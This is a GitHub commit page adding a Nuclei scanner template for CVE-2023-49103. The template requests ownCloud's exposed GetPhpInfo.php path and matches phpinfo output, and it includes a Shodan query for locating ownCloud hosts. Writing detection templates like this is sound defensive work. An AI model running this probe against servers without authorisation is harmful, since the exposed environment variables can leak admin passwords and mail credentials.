Skip to content

Commit

Permalink
Merge pull request #8684 from projectdiscovery/CVE-2023-49103
Browse files Browse the repository at this point in the history
Create CVE-2023-49103.yaml
  • Loading branch information
DhiyaneshGeek committed Nov 23, 2023
2 parents f50c96b + 1a9f503 commit 10b1ab2
Showing 1 changed file with 38 additions and 0 deletions.
38 changes: 38 additions & 0 deletions http/cves/2023/CVE-2023-49103.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
id: CVE-2023-49103

info:
name: OwnCloud - Phpinfo Configuration
author: ritikchaddha
severity: high
description: |
An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment (phpinfo). This information includes all the environment variables of the webserver. In containerized deployments, these environment variables may include sensitive data such as the ownCloud admin password, mail server credentials, and license key. Simply disabling the graphapi app does not eliminate the vulnerability. Additionally, phpinfo exposes various other potentially sensitive configuration details that could be exploited by an attacker to gather information about the system.
reference:
- https://github.com/creacitysec/CVE-2023-49103/blob/main/exploit.py
- https://nvd.nist.gov/vuln/detail/CVE-2023-49103
classification:
cve-id: CVE-2023-49103
cwe-id: CWE-200
metadata:
max-request: 1
verified: true
shodan-query: title:"owncloud"
tags: cve,cve2023,owncloud,phpinfo,config

http:
- method: GET
path:
- "{{BaseURL}}/owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php"

matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Extension"
- "PHP Version"
- "owncloud"
condition: and

- type: status
status:
- 200

0 comments on commit 10b1ab2

Please sign in to comment.